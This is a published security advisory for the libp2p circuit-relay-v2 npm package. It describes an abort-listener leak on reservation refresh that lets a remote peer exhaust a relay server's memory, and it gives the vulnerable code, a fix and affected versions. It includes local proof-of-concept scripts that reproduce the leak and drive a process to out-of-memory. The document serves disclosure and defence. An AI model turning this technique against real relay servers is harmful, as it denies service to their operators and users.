Skip to content

Circuit relay v2 server reservation refresh leaks abort listeners and allows remote resource exhaustion

Moderate
tabcat published GHSA-x787-gh7p-hmq7 Aug 18, 2026

Package

npm @libp2p/circuit-relay-v2 (npm)

Affected versions

>= 2.1.5, < 4.2.9

Patched versions

4.2.9

Description

Summary

@libp2p/circuit-relay-v2 relay servers add a new abort listener every time an existing relay reservation is refreshed. The reservation refresh path reuses the same retimeableSignal, but the listener is registered unconditionally after both new reservations and refreshes. A remote peer can repeatedly send valid RESERVE requests for the same reservation, causing unbounded listener and closure growth.

Details

The vulnerable code is in packages/transport-circuit-relay-v2/src/server/reservation-store.ts:

if (reservation != null) {
  this.log('refreshing reservation for client %p', peer)
  reservation.signal.reset(this.reservationTtl)
} else {
  this.log('creating new reservation for client %p', peer)
  reservation = {
    addr,
    expiry,
    limit: checkedLimit,
    signal: retimeableSignal(this.reservationTtl)
  }
}

this.reservations.set(peer, reservation)

reservation.signal.addEventListener('abort', () => {
  this.reservations.delete(peer)
})

On the first RESERVE, the store creates a reservation and attaches one abort listener. On every later RESERVE from the same peer, the store calls reservation.signal.reset(this.reservationTtl), and then attaches another listener to the same reservation.signal. The old listener is not removed.

The remote entry point is the circuit relay v2 HOP server in packages/transport-circuit-relay-v2/src/server/index.ts:

case HopMessage.Type.RESERVE: await this.handleReserve({ stream, request, connection }, options); break

handleReserve then calls:

const result = this.reservationStore.reserve(connection.remotePeer, connection.remoteAddr)

This is reachable by a peer that can connect to a relay server and open HOP protocol streams. maxReservations only limits the number of distinct peers. It does not limit refreshes for an existing reservation, so one peer can keep one reservation entry while growing an unbounded number of listeners. The default reservation TTL is two hours, and each refresh resets the same timer, allowing the accumulated listeners to remain live.

Recommended fix: attach the abort listener only when a new retimeableSignal is created, or otherwise remove/replace the previous listener before registering a new one. The intended invariant is one abort listener per reservation signal lifetime, not one listener per successful refresh.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { getEventListeners } from 'node:events'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { multiaddr } from '@multiformats/multiaddr'
import { ReservationStore } from '../../packages/transport-circuit-relay-v2/dist/src/server/reservation-store.js'

const label = 'circuit-relay-v2 server reservation refresh abort-listener leak'
const refreshes = 25

async function main (): Promise<void> {
  const peer = peerIdFromPrivateKey(await generateKeyPair('Ed25519'))
  const addr = multiaddr('/ip4/203.0.113.10/tcp/4001')

  const store = new ReservationStore({
    logger: defaultLogger()
  }, {
    maxReservations: 1,
    reservationTtl: 60 * 60 * 1000
  })

  const first = store.reserve(peer, addr)
  assert.equal(first.status, 'OK')

  const reservation = store.get(peer)
  assert.ok(reservation)

  const signal = reservation.signal
  const initialListeners = getEventListeners(signal, 'abort').length
  assert.equal(initialListeners, 1)

  for (let i = 0; i < refreshes; i++) {
    const refresh = store.reserve(peer, addr)
    assert.equal(refresh.status, 'OK')
    assert.equal(store.get(peer)?.signal, signal)
  }

  const finalListeners = getEventListeners(signal, 'abort').length

  assert.equal(store.reservations.size, 1)
  assert.equal(finalListeners, initialListeners + refreshes)

  console.log(`${label} reproduced`)
  console.log(`reservation entries: ${store.reservations.size}`)
  console.log(`same signal reused: ${store.get(peer)?.signal === signal}`)
  console.log(`refresh calls: ${refreshes}`)
  console.log(`abort listeners before refresh: ${initialListeners}`)
  console.log(`abort listeners after refresh: ${finalListeners}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

The PoC creates a ReservationStore with maxReservations: 1, reserves once for a generated peer, then refreshes the same reservation 25 times. It verifies that the store still has only one reservation and that the same signal object is reused, while the signal's abort listener count grows from 1 to 26.

npx --yes tsx poc.mts

Expected output:

circuit-relay-v2 server reservation refresh abort-listener leak reproduced
reservation entries: 1
same signal reused: true
refresh calls: 25
abort listeners before refresh: 1
abort listeners after refresh: 26

Additional local memory measurement:

npx --yes tsx --expose-gc ./poc-memory.mts --samples=10000,50000
npx --yes tsx --expose-gc ./poc-memory.mts --samples=10000,50000 --oom
import { getEventListeners } from 'node:events'
import { spawn } from 'node:child_process'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { multiaddr } from '@multiformats/multiaddr'
import { ReservationStore } from '../../packages/transport-circuit-relay-v2/dist/src/server/reservation-store.js'
import type { PeerId } from '@libp2p/interface'
import type { Multiaddr } from '@multiformats/multiaddr'

function argValue (name: string): string | undefined {
  const arg = process.argv.find(arg => arg.startsWith(`${name}=`))
  return arg?.slice(name.length + 1)
}

function hasFlag (name: string): boolean {
  return process.argv.includes(name)
}

function parseNumberArg (name: string, fallback: number): number {
  const value = Number.parseInt(argValue(name) ?? '', 10)

  if (Number.isSafeInteger(value) && value > 0) {
    return value
  }

  return fallback
}

function parseSamples (): number[] {
  return (argValue('--samples') ?? '10000,50000')
    .split(',')
    .map(value => Number.parseInt(value, 10))
    .filter(value => Number.isSafeInteger(value) && value > 0)
    .sort((a, b) => a - b)
}

async function createStore (): Promise<{
  store: ReservationStore
  peer: PeerId
  addr: Multiaddr
  signal: AbortSignal
}> {
  const peer = peerIdFromPrivateKey(await generateKeyPair('Ed25519'))
  const addr = multiaddr('/ip4/203.0.113.10/tcp/4001')
  const store = new ReservationStore({
    logger: defaultLogger()
  }, {
    maxReservations: 1,
    reservationTtl: 60 * 60 * 1000
  })

  store.reserve(peer, addr)

  const reservation = store.get(peer)
  if (reservation == null) {
    throw new Error('reservation was not created')
  }

  return { store, peer, addr, signal: reservation.signal }
}

function runGc (): void {
  ;(globalThis as typeof globalThis & { gc?: () => void }).gc?.()
}

async function measureRetainedHeap (): Promise<void> {
  const { store, peer, addr, signal } = await createStore()
  const samples = parseSamples()
  const hasGc = typeof (globalThis as typeof globalThis & { gc?: () => void }).gc === 'function'
  const results: Array<{ refreshes: number, bytesPerRefresh: number }> = []

  console.log(`Node: ${process.version}`)
  console.log(`GC exposed: ${hasGc}`)
  console.log(`Samples: ${samples.join(', ')}`)

  runGc()
  const baseHeap = process.memoryUsage().heapUsed
  let refreshes = 0

  for (const target of samples) {
    while (refreshes < target) {
      store.reserve(peer, addr)
      refreshes++
    }

    runGc()

    const heapUsed = process.memoryUsage().heapUsed
    const heapDelta = heapUsed - baseHeap
    const bytesPerRefresh = heapDelta / refreshes

    results.push({ refreshes, bytesPerRefresh })

    console.log(JSON.stringify({
      refreshes,
      listeners: getEventListeners(signal, 'abort').length,
      heapUsed,
      heapDelta,
      bytesPerRefresh
    }))
  }

  console.log('')
  console.log('GC-controlled retained heap measurement:')

  for (const result of results) {
    console.log(`${result.refreshes} refreshes: ~${Math.round(result.bytesPerRefresh)} bytes retained per refresh`)
  }
}

async function runOomMeasurement (): Promise<void> {
  const oldSpaceMb = parseNumberArg('--oom-old-space-mb', 64)
  const logEvery = parseNumberArg('--oom-log-every', 10000)
  const childScript = `
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { multiaddr } from '@multiformats/multiaddr'
import { ReservationStore } from './packages/transport-circuit-relay-v2/dist/src/server/reservation-store.js'

const peer = peerIdFromPrivateKey(await generateKeyPair('Ed25519'))
const addr = multiaddr('/ip4/203.0.113.10/tcp/4001')
const store = new ReservationStore({ logger: defaultLogger() }, { maxReservations: 1, reservationTtl: 60 * 60 * 1000 })
store.reserve(peer, addr)

let refreshes = 0

while (true) {
  store.reserve(peer, addr)
  refreshes++

  if (refreshes % ${logEvery} === 0) {
    const memory = process.memoryUsage()
    console.log(refreshes + ' refreshes heapUsed=' + (memory.heapUsed / 1024 / 1024).toFixed(1) + ' MB rss=' + (memory.rss / 1024 / 1024).toFixed(1) + ' MB')
  }
}
`

  console.log('')
  console.log('Constrained heap OOM measurement:')
  console.log(`node --max-old-space-size=${oldSpaceMb}`)

  await new Promise<void>((resolve, reject) => {
    const child = spawn(process.execPath, [
      `--max-old-space-size=${oldSpaceMb}`,
      '--input-type=module',
      '--eval',
      childScript
    ], {
      cwd: process.cwd(),
      stdio: ['ignore', 'pipe', 'pipe']
    })

    let stderr = ''

    child.stdout.setEncoding('utf8')
    child.stderr.setEncoding('utf8')

    child.stdout.on('data', chunk => {
      process.stdout.write(chunk)
    })

    child.stderr.on('data', chunk => {
      stderr += chunk
    })

    child.on('error', reject)
    child.on('close', (code, signal) => {
      const fatalLine = stderr
        .split('\n')
        .find(line => line.includes('FATAL ERROR:'))

      if (fatalLine != null) {
        console.log(fatalLine.trim())
      } else {
        process.stderr.write(stderr)
      }

      if (code != null) {
        console.log(`OOM child exited with code ${code}`)
      } else {
        console.log(`OOM child exited with signal ${signal}`)
      }

      resolve()
    })
  })
}

await measureRetainedHeap()

if (hasFlag('--oom')) {
  await runOomMeasurement()
}

Results:

Node: v24.14.0
GC exposed: true
Samples: 10000, 50000
{"refreshes":10000,"listeners":10001,"heapUsed":25110992,"heapDelta":12349560,"bytesPerRefresh":1234.956}
{"refreshes":50000,"listeners":50001,"heapUsed":73492784,"heapDelta":60731352,"bytesPerRefresh":1214.62704}

GC-controlled retained heap measurement:
10000 refreshes: ~1235 bytes retained per refresh
50000 refreshes: ~1215 bytes retained per refresh

Constrained heap OOM measurement:
node --max-old-space-size=64
10000 refreshes heapUsed=23.8 MB rss=88.6 MB
20000 refreshes heapUsed=32.4 MB rss=118.9 MB
30000 refreshes heapUsed=49.2 MB rss=119.6 MB
40000 refreshes heapUsed=55.8 MB rss=146.4 MB
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
OOM child exited with signal SIGABRT

Impact

A remote peer that can reserve on a public relay repeatedly refreshes its reservation, leaking one abort listener per refresh on the same reused signal. The retained heap grows ~1.2 KB per refresh; OOM took ~45,000 refreshes on a 64 MB heap. This is a sustained-traffic DoS, not a one-shot crash.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-77384

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Missing Release of Resource after Effective Lifetime

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed. Learn more on MITRE.

Credits